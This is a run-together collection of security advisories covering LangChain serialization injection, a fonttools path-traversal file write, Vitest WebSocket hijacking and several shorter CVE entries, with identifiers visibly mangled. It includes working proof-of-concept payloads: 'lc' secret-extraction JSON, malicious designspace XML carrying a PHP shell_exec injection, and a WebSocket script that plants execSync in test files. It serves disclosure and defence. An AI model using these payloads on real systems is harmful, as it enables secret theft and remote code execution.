IBM Concert 1.0.0 through 2.1.0 could allow a remote attacker to obtain sensitive information or perform unauthorized actions due to the use of hard coded user credentials.

Context

A serialization injection vulnerability exists in LangChain JS's toJSON() method (and subsequently when string-ifying objects using JSON.stringify(). The method did not escape objects with 'lc' keys when serializing free-form data in kwargs. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data.

Attack surface

The core vulnerability was in Serializable.toJSON(): this method failed to escape user-controlled objects containing 'lc' keys within kwargs (e.g., additionalkwargs, metadata, responsemetadata). When this unescaped data was later deserialized via load(), the injected structures were treated as legitimate LangChain objects rather than plain user data.

This escaping bug enabled several attack vectors:

1. Injection via user data: Malicious LangChain object structures could be injected through user-controlled fields like metadata, additionalkwargs, or responsemetadata 2. Secret extraction: Injected secret structures could extract environment variables when secretsFromEnv was enabled (which had no explicit default, effectively defaulting to true behavior) 3. Class instantiation via import maps: Injected constructor structures could instantiate any class available in the provided import maps with attacker-controlled parameters

Note on import maps: Classes must be explicitly included in import maps to be instantiatable. The core import map includes standard types (messages, prompts, documents), and users can extend this via importMap and optionalImportsMap options. This architecture naturally limits the attack surface—an allowedObjects parameter is not necessary because users control which classes are available through the import maps they provide.

Security hardening: This patch fixes the escaping bug in toJSON() and introduces new restrictive defaults in load(): secretsFromEnv now explicitly defaults to false, and a maxDepth parameter protects against DoS via deeply nested structures. JSDoc security warnings have been added to all import map options.

Who is affected?

Applications are vulnerable if they:

1. Serialize untrusted data via JSON.stringify() on Serializable objects, then deserialize with load() — Trusting your own serialization output makes you vulnerable if user-controlled data (e.g., from LLM responses, metadata fields, or user inputs) contains 'lc' key structures. 2. Deserialize untrusted data with load() — Directly deserializing untrusted data that may contain injected 'lc' structures. 3. Use LangGraph checkpoints — Checkpoint serialization/deserialization paths may be affected.

The most common attack vector is through LLM response fields like additionalkwargs or responsemetadata, which can be controlled via prompt injection and then serialized/deserialized in streaming operations.

Impact

Attackers who control serialized data can extract environment variable secrets by injecting {"lc": 1, "type": "secret", "id": ["ENVVAR"]} to load environment variables during deserialization (when secretsFromEnv: true). They can also instantiate classes with controlled parameters by injecting constructor structures to instantiate any class within the provided import maps with attacker-controlled parameters, potentially triggering side effects such as network calls or file operations.

Key severity factors:

- Affects the serialization path—applications trusting their own serialization output are vulnerable - Enables secret extraction when combined with secretsFromEnv: true - LLM responses in additionalkwargs can be controlled via prompt injection

Exploit example

typescript import { load } from "@langchain/core/load";

// Attacker injects secret structure into user-controlled data const attackerPayload = JSON.stringify({ userdata: { lc: 1, type: "secret", id: ["OPENAIAPIKEY"], }, });

process.env.OPENAIAPIKEY = "sk-secret-key-12345";

// With secretsFromEnv: true, the secret is extracted const deserialized = await load(attackerPayload, { secretsFromEnv: true });

console.log(deserialized.userdata); // "sk-secret-key-12345" - SECRET LEAKED!

Security hardening changes

This patch introduces the following changes to load():

1. secretsFromEnv default changed to false: Disables automatic secret loading from environment variables. Secrets not found in secretsMap now throw an error instead of being loaded from process.env. This fail-safe behavior ensures missing secrets are caught immediately rather than silently continuing with null. 2. New maxDepth parameter (defaults to 50): Protects against denial-of-service attacks via deeply nested JSON structures that could cause stack overflow. 3. Escape mechanism in toJSON(): User-controlled objects containing 'lc' keys are now wrapped in {"lcescaped": {...}} during serialization and unwrapped as plain data during deserialization. 4. JSDoc security warnings: All import map options (importMap, optionalImportsMap, optionalImportEntrypoints) now include security warnings about never populating them from user input.

Migration guide

No changes needed for most users

If you're deserializing standard LangChain types (messages, documents, prompts) using the core import map, your code will work without changes:

typescript import { load } from "@langchain/core/load";

// Works with default settings const obj = await load(serializedData);

For secrets from environment

secretsFromEnv now defaults to false, and missing secrets throw an error. If you need to load secrets:

typescript import { load } from "@langchain/core/load";

// Provide secrets explicitly (recommended) const obj = await load(serializedData, { secretsMap: { OPENAIAPIKEY: process.env.OPENAIAPIKEY }, });

// Or explicitly opt-in to load from env (only use with trusted data) const obj = await load(serializedData, { secretsFromEnv: true });

Warning: Only enable secretsFromEnv if you trust the serialized data. Untrusted data could extract any environment variable.

Note: If a secret reference is encountered but not found in secretsMap (and secretsFromEnv is false or the secret is not in the environment), an error is thrown. This fail-safe behavior ensures you're aware of missing secrets rather than silently receiving null values.

For deeply nested structures

If you have legitimate deeply nested data that exceeds the default depth limit of 50:

typescript import { load } from "@langchain/core/load";

const obj = await load(serializedData, { maxDepth: 100 });

For custom import maps

If you provide custom import maps, ensure they only contain trusted modules:

typescript import { load } from "@langchain/core/load"; import as myModule from "./my-trusted-module";

// GOOD - explicitly include only trusted modules const obj = await load(serializedData, { importMap: { mymodule: myModule }, });

// BAD - never populate from user input const obj = await load(serializedData, { importMap: userProvidedImports, // DANGEROUS! });

Summary

A serialization injection vulnerability exists in LangChain's dumps() and dumpd() functions. The functions do not escape dictionaries with 'lc' keys when serializing free-form dictionaries. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data.

Attack surface

The core vulnerability was in dumps() and dumpd(): these functions failed to escape user-controlled dictionaries containing 'lc' keys. When this unescaped data was later deserialized via load() or loads(), the injected structures were treated as legitimate LangChain objects rather than plain user data.

This escaping bug enabled several attack vectors:

1. Injection via user data: Malicious LangChain object structures could be injected through user-controlled fields like metadata, additionalkwargs, or responsemetadata 2. Class instantiation within trusted namespaces: Injected manifests could instantiate any Serializable subclass, but only within the pre-approved trusted namespaces (langchaincore, langchain, langchaincommunity). This includes classes with side effects in init (network calls, file operations, etc.). Note that namespace validation was already enforced before this patch, so arbitrary classes outside these trusted namespaces could not be instantiated.

Security hardening

This patch fixes the escaping bug in dumps() and dumpd() and introduces new restrictive defaults in load() and loads(): allowlist enforcement via allowedobjects="core" (restricted to serialization mappings), secretsfromenv changed from True to False, and default Jinja2 template blocking via initvalidator. These are breaking changes for some use cases.

Who is affected?

Applications are vulnerable if they:

1. Use astreamevents(version="v1") — The v1 implementation internally uses vulnerable serialization. Note: astreamevents(version="v2") is not vulnerable. 2. Use Runnable.astreamlog() — This method internally uses vulnerable serialization for streaming outputs. 3. Call dumps() or dumpd() on untrusted data, then deserialize with load() or loads() — Trusting your own serialization output makes you vulnerable if user-controlled data (e.g., from LLM responses, metadata fields, or user inputs) contains 'lc' key structures. 4. Deserialize untrusted data with load() or loads() — Directly deserializing untrusted data that may contain injected 'lc' structures. 5. Use RunnableWithMessageHistory — Internal serialization in message history handling. 6. Use InMemoryVectorStore.load() to deserialize untrusted documents. 7. Load untrusted generations from cache using langchain-community caches. 8. Load untrusted manifests from the LangChain Hub via hub.pull. 9. Use StringRunEvaluatorChain on untrusted runs. 10. Use createlcstore or createkvdocstore with untrusted documents. 11. Use MultiVectorRetriever with byte stores containing untrusted documents. 12. Use LangSmithRunChatLoader with runs containing untrusted messages.

The most common attack vector is through LLM response fields like additionalkwargs or responsemetadata, which can be controlled via prompt injection and then serialized/deserialized in streaming operations.

Impact

Attackers who control serialized data can extract environment variable secrets by injecting {"lc": 1, "type": "secret", "id": ["ENVVAR"]} to load environment variables during deserialization (when secretsfromenv=True, which was the old default). They can also instantiate classes with controlled parameters by injecting constructor structures to instantiate any class within trusted namespaces with attacker-controlled parameters, potentially triggering side effects such as network calls or file operations.

Key severity factors:

- Affects the serialization path - applications trusting their own serialization output are vulnerable - Enables secret extraction when combined with secretsfromenv=True (the old default) - LLM responses in additionalkwargs can be controlled via prompt injection

Exploit example

python from langchaincore.load import dumps, load import os

Attacker injects secret structure into user-controlled data attackerdict = { "userdata": { "lc": 1, "type": "secret", "id": ["OPENAIAPIKEY"] } }

serialized = dumps(attackerdict) # Bug: does NOT escape the 'lc' key

os.environ["OPENAIAPIKEY"] = "sk-secret-key-12345" deserialized = load(serialized, secretsfromenv=True)

print(deserialized["userdata"]) # "sk-secret-key-12345" - SECRET LEAKED!

Security hardening changes (breaking changes)

This patch introduces three breaking changes to load() and loads():

1. New allowedobjects parameter (defaults to 'core'): Enforces allowlist of classes that can be deserialized. The 'all' option corresponds to the list of objects specified in mappings.py while the 'core' option limits to objects within langchaincore. We recommend that users explicitly specify which objects they want to allow for serialization/deserialization. 2. secretsfromenv default changed from True to False: Disables automatic secret loading from environment 3. New initvalidator parameter (defaults to defaultinitvalidator): Blocks Jinja2 templates by default

Migration guide

No changes needed for most users

If you're deserializing standard LangChain types (messages, documents, prompts, trusted partner integrations like ChatOpenAI, ChatAnthropic, etc.), your code will work without changes:

python from langchaincore.load import load

Uses default allowlist from serialization mappings obj = load(serializeddata)

For custom classes

If you're deserializing custom classes not in the serialization mappings, add them to the allowlist:

python from langchaincore.load import load from mypackage import MyCustomClass

Specify the classes you need obj = load(serializeddata, allowedobjects=[MyCustomClass])

For Jinja2 templates

Jinja2 templates are now blocked by default because they can execute arbitrary code. If you need Jinja2 templates, pass initvalidator=None:

python from langchaincore.load import load from langchaincore.prompts import PromptTemplate

obj = load( serializeddata, allowedobjects=[PromptTemplate], initvalidator=None )

[!WARNING] Only disable initvalidator if you trust the serialized data. Jinja2 templates can execute arbitrary Python code.

For secrets from environment

secretsfromenv now defaults to False. If you need to load secrets from environment variables:

python from langchaincore.load import load

obj = load(serializeddata, secretsfromenv=True)

Credits

Dumps bug was reported by @yardenporat Changes for security hardening due to findings from @0xn3va and @VladimirEliTokarev

Summary

The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().

The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).

Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution

The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.

Affected Lines

fontTools/varLib/init.py python filename = vf.filename # Unsanitised filename outputpath = os.path.join(outputdir, filename) # Path traversal vf.save(outputpath) # Arbitrary file write

PoC 1. Set up malicious.designspace and respective source-.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)

setup.py python #!/usr/bin/env python3 import os

from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen

def createsourcefont(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() fb.setupGlyf({".notdef": pen.glyph()}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"}) fb.save(filename)

if name == 'main': os.chdir(os.path.dirname(os.path.abspath(file))) createsourcefont("source-light.ttf", weight=100) createsourcefont("source-regular.ttf", weight=400)

malicious.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <!-- Filename can be arbitrarily set to any path on the filesystem --> <variable-fonts> <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> </designspace>

Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.

2. Run the setup.py script to generate source-.tff files required for the malicious.designspace file. bash python3 setup.py 3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename bash fonttools varLib malicious.designspace 4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace bash cat {{filenamelocation}} 5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.

malicious2.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <!-- XML injection occurs in labelname elements with CDATA sections --> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"> <labelname xml:lang="en"><![CDATA[<?php echo shellexec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname> <labelname xml:lang="fr">MEOW2</labelname> </axis> </axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <variable-fonts> <variable-font name="MyFont" filename="output.ttf"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> <instances> <instance name="Display Thin" familyname="MyFont" stylename="Thin"> <location><dimension name="Weight" xvalue="100"/></location> <labelname xml:lang="en">Display Thin</labelname> </instance> </instances> </designspace>

6. When the program is run, we can show we control the contents in the new file bash fonttools varLib malicious2.designspace -o file123 Here being outputted to a localised area ignoring filename presented in variable-font

7. We can look inside file123 to validate user controlled injection bash cat file123 to show <?php echo shellexec("/usr/bin/touch /tmp/MEOW123");?>]]>

8. Executing the file and reading looking at the newly generated file bash php file123 ls -la /tmp/MEOW123 we can see that the file was just created showing RCE.

Recommendations

- Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system

The expr-eval library is a JavaScript expression parser and evaluator designed to safely evaluate mathematical expressions with user-defined variables. However, due to insufficient input validation, an attacker can pass a crafted context object or use MEMBER of the context object into the evaluate() function and trigger arbitrary code execution.

Request smuggling due to acceptance of invalid chunked data in net/http

Summary Koa uses an evil regex to parse the X-Forwarded-Proto and X-Forwarded-Host HTTP headers. This can be exploited to carry out a Denial-of-Service attack.

PoC

Coming soon.

Impact This is a Regex Denial-of-Service attack and causes memory exhaustion. The regex should be improved and empty values should not be allowed.

Summary Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC 1. Open Vitest UI. 2. Access a malicious web site with the script below. 3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

js // code from https://github.com/WebReflection/flatted const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run const ws = new WebSocket('ws://localhost:51204/vitestapi') ws.addEventListener('message', e => { console.log(e.data) }) ws.addEventListener('open', () => { ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

// edit file content to inject command execution ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "saveTestFile", a: [testFilePath, "import childprocess from 'childprocess';childprocess.execSync('calc')"] })) // rerun the tests to run the injected command execution code ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "rerun", a: [testFilePath] })) })

Impact This vulnerability can result in remote code execution for users that are using Vitest serve API.

In axios before 1.7.8, lib/helpers/isURLSameOrigin.js does not use a URL object when determining an origin, and has a potentially unwanted setAttribute('href',href) call. NOTE: some parties feel that the code change only addresses a warning message from a SAST tool and does not fix a vulnerability.

Applications and libraries which misuse connection.serverAuthenticate (via callback field ServerConfig.PublicKeyCallback) may be susceptible to an authorization bypass. The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions. For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key. Since this API is widely misused, as a partial mitigation golang.org/x/cry...@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth. Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

An issue was discovered in libexpat before 2.6.3. dtdCopy in xmlparse.c can have an integer overflow for nDefaultAtts on 32-bit platforms (where UINTMAX equals SIZEMAX).

Accounts. A logic issue was addressed with improved file handling.

An issue was discovered in libexpat before 2.6.3. nextScaffoldPart in xmlparse.c can have an integer overflow for mgroupSize on 32-bit platforms (where UINTMAX equals SIZEMAX).

Last updated 14 November 2024

Go is vulnerable to HTML injection. A remote attacker could inject malicious HTML code into a template containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029", which when viewed, would execute in the victim's Web browser within the security context of the hosting site.

Backticks not treated as string delimiters in html/template

DISPUTED pandas through 1.0.3 can unserialize and execute commands from an untrusted file that is passed to the readpickle() function, if reduce makes an os.system call. NOTE: third parties dispute this issue because the readpickle() function is documented as unsafe and it is the user's responsibility to use the function in a secure manner.